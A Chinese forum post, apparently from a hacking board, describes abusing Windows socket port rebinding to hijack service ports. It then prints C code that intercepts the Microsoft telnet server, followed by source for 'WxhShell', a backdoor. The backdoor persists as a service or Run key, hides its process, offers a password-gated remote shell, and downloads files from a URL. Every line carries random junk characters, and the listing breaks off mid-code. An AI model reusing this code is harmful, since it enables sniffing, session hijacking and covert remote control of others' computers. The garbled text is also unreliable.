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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [AX).b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,%nmCetD@  
Z@C D1+G  
  saddr.sin_family = AF_INET; /'VCJjzZ  
N}F G%a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <J H0 &  
A7b7IM[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1NOz $fW  
4?yc/F=kI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9'5,V{pj  
|+`hSA  
  这意味着什么?意味着可以进行如下的攻击: U;V. +onv  
@fE^w^K7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4qm5`o\hb  
& vLX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KP<J~+_ik  
acGmRP9g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ? ! 1uw  
*iC t4J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bxa],inuZ  
<RhKlCP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hU=J^Gi0  
` chf8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nev*TYY?A  
C,I N+@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 aF;&#TsB  
~l}TlRqL  
  #include ^c(PZ,/#JB  
  #include G0(c@FBK  
  #include ka>RAr J  
  #include    Q^p@ 1I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'Vrev8D  
  int main() lMm-K%(2  
  { \W( p)M  
  WORD wVersionRequested; f$ Ap\(.  
  DWORD ret; ?&GMp[  
  WSADATA wsaData; S|>Up%{n[  
  BOOL val; c~tSt.^WX  
  SOCKADDR_IN saddr; Czci6 Lz  
  SOCKADDR_IN scaddr; !}3`Pl.(r  
  int err; Bs1-UI}+  
  SOCKET s; RV$+g.4  
  SOCKET sc; &iGl)dDr  
  int caddsize;  CMg83  
  HANDLE mt; .gPsJ?b  
  DWORD tid;   b?bYPN+  
  wVersionRequested = MAKEWORD( 2, 2 ); Gz6GU.IyQy  
  err = WSAStartup( wVersionRequested, &wsaData ); Q./ lX:  
  if ( err != 0 ) { Hwc{%.%ae  
  printf("error!WSAStartup failed!\n"); 1tr>D:c\  
  return -1; apMYBbC  
  } =3zn Ta }  
  saddr.sin_family = AF_INET; y(]|jRo  
   C5WCRg5&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ( Lu.^  
D}061~zb$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V%0.%/<#5  
  saddr.sin_port = htons(23); )>Q 2G/@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =k*0O_  
  { #VOjnc/rW  
  printf("error!socket failed!\n"); y[zA [H:  
  return -1; R|CY4G j  
  } _$'Mx'IC=  
  val = TRUE; OhW=F2OIV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )]%9Tgn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,SyUr/D  
  { 0`P]fL+&  
  printf("error!setsockopt failed!\n"); _RW[]MN3*  
  return -1; *3/7wSV:  
  } TN %"RL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p\{+l;`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tRy D@}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zkp Apj].  
=_'cG:=)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~^^ey17   
  { F3Y>hs):7  
  ret=GetLastError(); }R1`ThTM  
  printf("error!bind failed!\n"); @:7gHRJ!  
  return -1; j&/.[?K  
  } z/YMl3$l~  
  listen(s,2); '!-?  
  while(1) tqQ0lv^J  
  { ~& 5&s  
  caddsize = sizeof(scaddr); &Bn; Vi  
  //接受连接请求 |nEV Oy>'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "k-ov9yK  
  if(sc!=INVALID_SOCKET) N}Ks[2  
  { pIu H*4Vz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |)q K g  
  if(mt==NULL)  y"\,%.  
  { Ys$YI{  
  printf("Thread Creat Failed!\n"); zcB 2[eaV  
  break; QWHy=(!  
  } u`pROd/ R5  
  } %%~}Lw  
  CloseHandle(mt); ^ 6.lb\  
  } b;L>%;  
  closesocket(s);  |.C    
  WSACleanup(); $W$# CTM  
  return 0; 5$oewjLO  
  }   V+qJrZ ,i  
  DWORD WINAPI ClientThread(LPVOID lpParam) yvz?4m"_yB  
  { 7"q+"0G  
  SOCKET ss = (SOCKET)lpParam; N\q)LM !M  
  SOCKET sc; !\0F.*   
  unsigned char buf[4096]; D#7_T KX  
  SOCKADDR_IN saddr; _(6`{PWY  
  long num; "#twY|wW  
  DWORD val;  *q*HGW5  
  DWORD ret; e8WEz 4r_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qWO]s=V!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vJRnBq+y  
  saddr.sin_family = AF_INET; A)Qh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1OJ*wI*  
  saddr.sin_port = htons(23); JoCA{Fa}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d=XpO*v,[  
  { YOV :  
  printf("error!socket failed!\n"); A XBkJ'jd  
  return -1; !:"-:O}>=,  
  } qO-C%p [5  
  val = 100; mz\NFC<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f xDj+Q1p  
  { [?chK^8  
  ret = GetLastError(); sEce{"VC  
  return -1; oYz!O]j;a  
  } MZ|\S/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U:]MgZWn  
  { o]Wz6 L  
  ret = GetLastError(); )O3jQ_q=  
  return -1; M8';%  =@  
  } |gnAqkW0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XFW5AP  
  { 4xm&pQo{V6  
  printf("error!socket connect failed!\n"); /_V'DJV  
  closesocket(sc); 2sKG(^=Z  
  closesocket(ss); v f`9*xF  
  return -1; {6'*Phw  
  } Kax#OYLpg  
  while(1) Sx8l<X  
  { S5N@\ x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ap%O~wA'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q] ^,vei  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M% @  
  num = recv(ss,buf,4096,0); F>N+<Z  
  if(num>0) nbGoJC:U  
  send(sc,buf,num,0); tBseqS3<  
  else if(num==0) &5u BNpH  
  break; Fn!SGX~kx$  
  num = recv(sc,buf,4096,0); ]:&n-&@L  
  if(num>0) LM:)j:gS6  
  send(ss,buf,num,0); c3] C:t+  
  else if(num==0) "tL2F*F"6X  
  break; K\P!a@>1  
  } QH~Jy*\+PX  
  closesocket(ss); R)+t]}  
  closesocket(sc); %cX"#+e  
  return 0 ; \ZS TKi?  
  } JrDHRIkgm  
Uk,g> LG  
; 0ko@ \Lq  
========================================================== T%(C-Quh  
+tt9R_S  
下边附上一个代码,,WXhSHELL @2 =z}S3O  
ES}. xZ#~  
========================================================== & [_ZXVva~  
g9KTn4  
#include "stdafx.h" Es.nHN^]%K  
k4{:9zL1#?  
#include <stdio.h> L8&D(wh/f  
#include <string.h> 3b!,D  
#include <windows.h> [i7YVwG4  
#include <winsock2.h> :#u}.G  
#include <winsvc.h> 2z_2.0/3  
#include <urlmon.h> _1|$P|$P.  
;YyXT"6/p  
#pragma comment (lib, "Ws2_32.lib") %8mm Hh  
#pragma comment (lib, "urlmon.lib") 30Drrno7Io  
;..o7I  
#define MAX_USER   100 // 最大客户端连接数 <7 )Fh*W@  
#define BUF_SOCK   200 // sock buffer OBOwz4<  
#define KEY_BUFF   255 // 输入 buffer E0l _--  
cCi I{  
#define REBOOT     0   // 重启 "aq'R(/`c  
#define SHUTDOWN   1   // 关机 j6g@tx^)'  
27D!'S  
#define DEF_PORT   5000 // 监听端口 }Ln@R~[  
osH Cg  
#define REG_LEN     16   // 注册表键长度 \we\0@v  
#define SVC_LEN     80   // NT服务名长度 qOy=O [+9  
 !HK^AwNY  
// 从dll定义API %Mn.e a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g(hOg~S\E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 60}! LmL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CN&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @jy41eIo  
)9v`f9X){  
// wxhshell配置信息 E JK0  
struct WSCFG { 1(#;&:$`i  
  int ws_port;         // 监听端口 ?1I GYyu!  
  char ws_passstr[REG_LEN]; // 口令 G"dS+,Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,0N94pKy  
  char ws_regname[REG_LEN]; // 注册表键名 K^[#]+nQ  
  char ws_svcname[REG_LEN]; // 服务名 4QHS{tj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /JJw 6[ N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uh6 '$0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GqKsK r2%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \2C`<h$fN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {QAv~S>4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YT#3n  
9N8I ip]w  
}; ^K(^I*q  
~x:DXEV,  
// default Wxhshell configuration DKL@wr}8  
struct WSCFG wscfg={DEF_PORT, ~Bi_7 Q  
    "xuhuanlingzhe", ]< l6s  
    1, Z.PBu|Kx  
    "Wxhshell", zYER  
    "Wxhshell", uQ1@b-e`5  
            "WxhShell Service", d3Mva,bw<  
    "Wrsky Windows CmdShell Service", (!L5-8O  
    "Please Input Your Password: ", fxcc<h4  
  1, )u%je~Vw  
  "http://www.wrsky.com/wxhshell.exe", =uHnRY  
  "Wxhshell.exe" g|X;ahTT  
    }; C4$:mJ>y  
/1UOT\8U  
// 消息定义模块 [lzN !!B!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y9H% Xl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <W8t|jt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :ue:QSt(u  
char *msg_ws_ext="\n\rExit."; K)tQ]P  
char *msg_ws_end="\n\rQuit."; I=)hWC/  
char *msg_ws_boot="\n\rReboot..."; s8"8y`u  
char *msg_ws_poff="\n\rShutdown..."; Q#I"_G&{  
char *msg_ws_down="\n\rSave to "; 7cP@jj  
6 gL=u-2  
char *msg_ws_err="\n\rErr!"; {PP9$>4`l  
char *msg_ws_ok="\n\rOK!"; & F:IIo7  
VZr>U*J[:  
char ExeFile[MAX_PATH]; AN:sQX`  
int nUser = 0; @}p2aV59  
HANDLE handles[MAX_USER]; GE;e]Jkjn  
int OsIsNt; E907fX[R~  
N[]Hc  
SERVICE_STATUS       serviceStatus; hd\gH^wk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {N2g8W:  
:NHH Dl  
// 函数声明 EF7+ *Q9  
int Install(void); q\Q{sv_  
int Uninstall(void); _R'Fco  
int DownloadFile(char *sURL, SOCKET wsh); /tV/85r  
int Boot(int flag); s^0/"j|7  
void HideProc(void); KH)D 08  
int GetOsVer(void); 4 %PfrJ  
int Wxhshell(SOCKET wsl);  B[=(#W  
void TalkWithClient(void *cs); )[H{yQ  
int CmdShell(SOCKET sock); CTt vyr  
int StartFromService(void); X'.qYsS  
int StartWxhshell(LPSTR lpCmdLine); W>r#RXmh  
/kL $4CA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h~&gIub  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LTNj| u  
4c oJRqf=  
// 数据结构和表定义 !CX t*/~  
SERVICE_TABLE_ENTRY DispatchTable[] = [Vd[-  
{ IDkWGh  
{wscfg.ws_svcname, NTServiceMain}, Hsih[f  
{NULL, NULL} +iRq8aS_  
}; A(?\>X 9g  
5MFxo63  
// 自我安装 l"\~yNgk  
int Install(void) jV.g}F+1m  
{ D:k 3" E"S  
  char svExeFile[MAX_PATH]; $0bjKy  
  HKEY key; lb'GXd %  
  strcpy(svExeFile,ExeFile); [SJ6@q  
0sI1GhVR  
// 如果是win9x系统,修改注册表设为自启动 C6O8RHg  
if(!OsIsNt) { (D@A74q\'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gpm{m:$L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SyAvKd`g  
  RegCloseKey(key);  Z%I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4w#``UY)'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2o>)7^9|#<  
  RegCloseKey(key); >^Se'SE]  
  return 0; jV(6>BAI_  
    } }g$(+1g  
  } ,K:ll4{b  
} gN)c  
else { 5K|"\  
`%09xMPu  
// 如果是NT以上系统,安装为系统服务 "V&+7"Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hJzxbr <  
if (schSCManager!=0)  ]xguBh]  
{ _EF&A-kX|u  
  SC_HANDLE schService = CreateService PjN =k;  
  ( upeU52@\  
  schSCManager, 0i8LWX_M  
  wscfg.ws_svcname, {O|'U'  
  wscfg.ws_svcdisp, K |DWu8  
  SERVICE_ALL_ACCESS,  9CCkqB/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W>q HFoKa  
  SERVICE_AUTO_START, }du XC[6  
  SERVICE_ERROR_NORMAL, *>VVt8*Et  
  svExeFile, Hcc"b0>}{  
  NULL, QdLYCR4f  
  NULL, z<.?x%4O  
  NULL, _-5,zP R  
  NULL, d|T!v  
  NULL  iD= p\  
  ); :SxW.?[%u  
  if (schService!=0) W cC?8X2  
  { 6\61~u~  
  CloseServiceHandle(schService);  :ujCr.  
  CloseServiceHandle(schSCManager); M)sZSH.<O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,t)x{I;C)  
  strcat(svExeFile,wscfg.ws_svcname); !?^b[ nC%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V5U?F6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); au,t%8AC  
  RegCloseKey(key); CR2_;x:0  
  return 0; %r4 q8-  
    } Py`N4y ~  
  } V^Hu3aUx8  
  CloseServiceHandle(schSCManager); 8( b tZt  
} ~Y.tz`2D  
} s&GJW@ |  
^[15&T5  
return 1;  jq08=  
} Jjl`_X$CB  
$cu00K  
// 自我卸载 jF[ 1za  
int Uninstall(void) wp7!>% s{  
{ g R nOd  
  HKEY key; uytE^  
"`asF g  
if(!OsIsNt) { 3OM2Y_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^fz+41lE\  
  RegDeleteValue(key,wscfg.ws_regname); zS] 8V?`  
  RegCloseKey(key); 2S' {!A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?bw4~  
  RegDeleteValue(key,wscfg.ws_regname); .G o{1[  
  RegCloseKey(key); 'EFyIVezg9  
  return 0; qF iLh9=D  
  } (LHp%LaZ\;  
} jjM{]  
} 2Hum!p:1  
else { -l}IZY  
moVbw`T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {,OS-g  
if (schSCManager!=0) ^uJU}v:  
{ gT/@dVV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qaim6a  
  if (schService!=0) NzKUtwnIz  
  { c]B$i*t  
  if(DeleteService(schService)!=0) { <5=JE*s$NS  
  CloseServiceHandle(schService); ^t7x84jhL  
  CloseServiceHandle(schSCManager); LW:o8ES33  
  return 0; _Jv 9F8v  
  } e?bYjJ q  
  CloseServiceHandle(schService); f&D]anf33  
  } flgRpXt  
  CloseServiceHandle(schSCManager); =uDgzdDyE  
} NA,C Z  
} m`6Yc:@E  
6dAEM;$_Z  
return 1; Q!,<@b)  
} g]UBZ33y  
VOsqJJ3  
// 从指定url下载文件 {A|TowBN  
int DownloadFile(char *sURL, SOCKET wsh) ;V<iL?  
{ /J)l/oI  
  HRESULT hr; `MP|Ovns:H  
char seps[]= "/"; 7kKy\W  
char *token; kqG0%WtQ  
char *file; C6_@\&OA  
char myURL[MAX_PATH]; Mz I q"3  
char myFILE[MAX_PATH]; w#i[_  
W(fr<<hL  
strcpy(myURL,sURL); 1xf=_F0`&  
  token=strtok(myURL,seps); '2zL.:~  
  while(token!=NULL) l:]Nn%U(>  
  { &/.hx(#d  
    file=token; +MK6zf  
  token=strtok(NULL,seps); 2fIRlrA$  
  } {5*|C-WWtG  
0^'B3$>  
GetCurrentDirectory(MAX_PATH,myFILE); iAMtejw  
strcat(myFILE, "\\"); m"c :"I6  
strcat(myFILE, file); 2S`?hxAL  
  send(wsh,myFILE,strlen(myFILE),0); EPW7+Ve  
send(wsh,"...",3,0); -G &_^"=R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /W#O +  
  if(hr==S_OK) pO<-.,  
return 0; nA>sHy  
else 1gO2C $  
return 1; 6)]f6p&e  
} wSi~^*  
}  &K^MN d  
3HyhEVR-#~  
// 系统电源模块 ANH4IYd3  
int Boot(int flag) k6IG+:s  
{ XM Vq-8B0  
  HANDLE hToken; SN+ S6  
  TOKEN_PRIVILEGES tkp; @E`?<|B}  
MQ][mMM;w  
  if(OsIsNt) { p@&R0>6j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \9)[ #Ld  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?SY<~i<K-  
    tkp.PrivilegeCount = 1; <l\N|+7R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1TqF6`;+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B{, Bno  
if(flag==REBOOT) { 2]jPv0u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <D/al9  
  return 0; ].DY"  
} 4 9w=kzo  
else { _=`x])mM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `]2@ _wa  
  return 0; #!!AbuhzK{  
} p?rK`$U+J  
  } f==*"?6\  
  else { 0*(K DDv  
if(flag==REBOOT) { M1=_^f=&.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LZWS^77  
  return 0; hN4VlNKu  
} ;bHfn-X  
else { l=Wd,$\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QJ<[Zx  
  return 0; H/i<_LP  
} (DJvi6\H  
} g5R,% 6  
`mErF%b  
return 1; D3?N<9g  
} ce5nG0@#  
iPU% /_>  
// win9x进程隐藏模块 _om[VKJd  
void HideProc(void) ('WY5Yps  
{ xURw,  
]bfqcmh<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w`#fH  
  if ( hKernel != NULL ) WFh@%j  
  { aF])"9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6GOg_P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aYj%w  
    FreeLibrary(hKernel); XM!M%.0WS  
  } h*'d;_(,  
(UzPklkZ  
return; S8*>kM'  
} >ITEd  
@^wpAQfd4  
// 获取操作系统版本 "A7<XN<  
int GetOsVer(void) jM\ %$_/  
{ DyX0 xx^  
  OSVERSIONINFO winfo; @ KJV1t`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p"KV*D9b  
  GetVersionEx(&winfo); h2&y<Eg>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )OUU]MUH  
  return 1; c!~T2t  
  else e?vj+ZlS$f  
  return 0; i puo}  
} =~",/I?  
6H6Law!)  
// 客户端句柄模块 ^f0(aYWx  
int Wxhshell(SOCKET wsl) 86{ZFtv  
{ ~>w:;M=sV8  
  SOCKET wsh; _FFv#R*4  
  struct sockaddr_in client; -$ali[  
  DWORD myID; ! OfO:L7-  
\4@a  
  while(nUser<MAX_USER) 'RQiLUF  
{ gUb "3g0  
  int nSize=sizeof(client); )]}$   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t[q3 {-  
  if(wsh==INVALID_SOCKET) return 1; h&$Py  
I9,8HtnA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HqRCjD  
if(handles[nUser]==0) 7?"9J `*  
  closesocket(wsh); ]0YDb~UB  
else 9/Wn!Ld  
  nUser++; hOn  
  } `OLB';D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Hk.|5A}  
D9G0k[D,  
  return 0; 85 Dm8~  
} .> ,Z k S  
XJ\_ V[WA  
// 关闭 socket  2+Vp'5>&  
void CloseIt(SOCKET wsh) _0*=u$~R  
{ ,L~snR'w  
closesocket(wsh); >E~~7Yal  
nUser--; sOC| B  
ExitThread(0); p Mh++H]"  
} )=Y-f?o!  
@QX4 \  
// 客户端请求句柄 5 Af?Yxv  
void TalkWithClient(void *cs) v'$ykZ!Z  
{ uAQg"j  
sHF%=Vu  
  SOCKET wsh=(SOCKET)cs; '1lx{U zD  
  char pwd[SVC_LEN]; G-s a L*  
  char cmd[KEY_BUFF]; ^:U;rHY  
char chr[1]; g.=!3e&z%  
int i,j; 6iyt2q kh  
Jb 6&  
  while (nUser < MAX_USER) { ^[*AK_o_DQ  
#e*$2+`[A  
if(wscfg.ws_passstr) { 8W{ g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E8 \\X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wb@]>MJ}[s  
  //ZeroMemory(pwd,KEY_BUFF); 6XZN>#  
      i=0; .GtINhz*  
  while(i<SVC_LEN) { 6eOxF8  
HK? Foo?  
  // 设置超时 `} ZL'\G  
  fd_set FdRead; |})rt5|f1!  
  struct timeval TimeOut; ruWye1X;  
  FD_ZERO(&FdRead); w zdxw$E  
  FD_SET(wsh,&FdRead); KM EXT$p  
  TimeOut.tv_sec=8; gMCy$+?  
  TimeOut.tv_usec=0; a3*.,%d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _5Bu [I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B piEAwh  
}&=uZ:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Sv>C `FMU  
  pwd=chr[0]; miWw6!()  
  if(chr[0]==0xd || chr[0]==0xa) { f)qPFM]%z  
  pwd=0; ~y`Pwj  
  break;  -\5[Nq{N  
  } Z#%}K Z  
  i++;  hgNY[,  
    } ;A`IYRzt  
*-+C<2"  
  // 如果是非法用户,关闭 socket ;k-g _{M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }D(DU5r  
} _8Pmv$   
}`?7\\6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IwOfZuS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tP -5  
% 1OC#&  
while(1) { pFG]IM7o/u  
6 bYC  
  ZeroMemory(cmd,KEY_BUFF); uF.Q ",<  
elNB7%Y/  
      // 自动支持客户端 telnet标准   iz,]%<_PE  
  j=0; l A 0-?k  
  while(j<KEY_BUFF) { 5R& x{jf$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & %@/Dwr  
  cmd[j]=chr[0]; RT1{+:l  
  if(chr[0]==0xa || chr[0]==0xd) { [9'|7fdU  
  cmd[j]=0; -Cg`x=G;z  
  break; @263)`9G  
  } !^n1  
  j++; jo]m1 2ps  
    } )j$b9ZBk  
p|xs|O6{  
  // 下载文件 wV7@D[8  
  if(strstr(cmd,"http://")) { ': 5Trx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hqdC9?\  
  if(DownloadFile(cmd,wsh)) `8.1&fBr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY-(- a8  
  else X L{{7%j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qQwJJjf  
  } y^5T/M  
  else { Zb 12:?  
Cmp{FN"o  
    switch(cmd[0]) {  zjZ;xn  
  W*1d X"S  
  // 帮助 #i'C  
  case '?': { T2;v<(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m T>b ;  
    break; q}wl_ku9+  
  } gK&5HTo  
  // 安装 %g2/ o^c*  
  case 'i': { GGYX!=]~  
    if(Install()) N[- %0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nL "g23  
    else kxt\{iy4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Om'naD  
    break; ]b5%?^Z#  
    } m~A[V,os  
  // 卸载 R (+h)#![  
  case 'r': { =vB]*?;9  
    if(Uninstall()) 3t J=d'U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !y[}|  
    else T)$ 6H}[c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z1XUYe62  
    break; R!:eYoQ  
    } OqAh4qa,$  
  // 显示 wxhshell 所在路径 ]<&B BQ  
  case 'p': { @]?? +f}#  
    char svExeFile[MAX_PATH]; :mCw.Jz<h  
    strcpy(svExeFile,"\n\r"); LZ=wz.'u  
      strcat(svExeFile,ExeFile); _stI?fz*4k  
        send(wsh,svExeFile,strlen(svExeFile),0); B]+7 JB  
    break; s8`}x_k=  
    } lq78gOg{  
  // 重启 Fjb4BdZ P  
  case 'b': { IN]`lJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9&|12x$  
    if(Boot(REBOOT)) wdN>KS2!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <-Kb@V3  
    else { bUY:XmA  
    closesocket(wsh); p 02nd.R6  
    ExitThread(0); f }evw K[S  
    } F:[Nw#gj/  
    break; %RfY`n  
    } P>yG/:W;  
  // 关机 Zi2Eu4p l{  
  case 'd': { !3b|*].B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KNO*)\   
    if(Boot(SHUTDOWN)) E-BOIy,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0XBBA0t q  
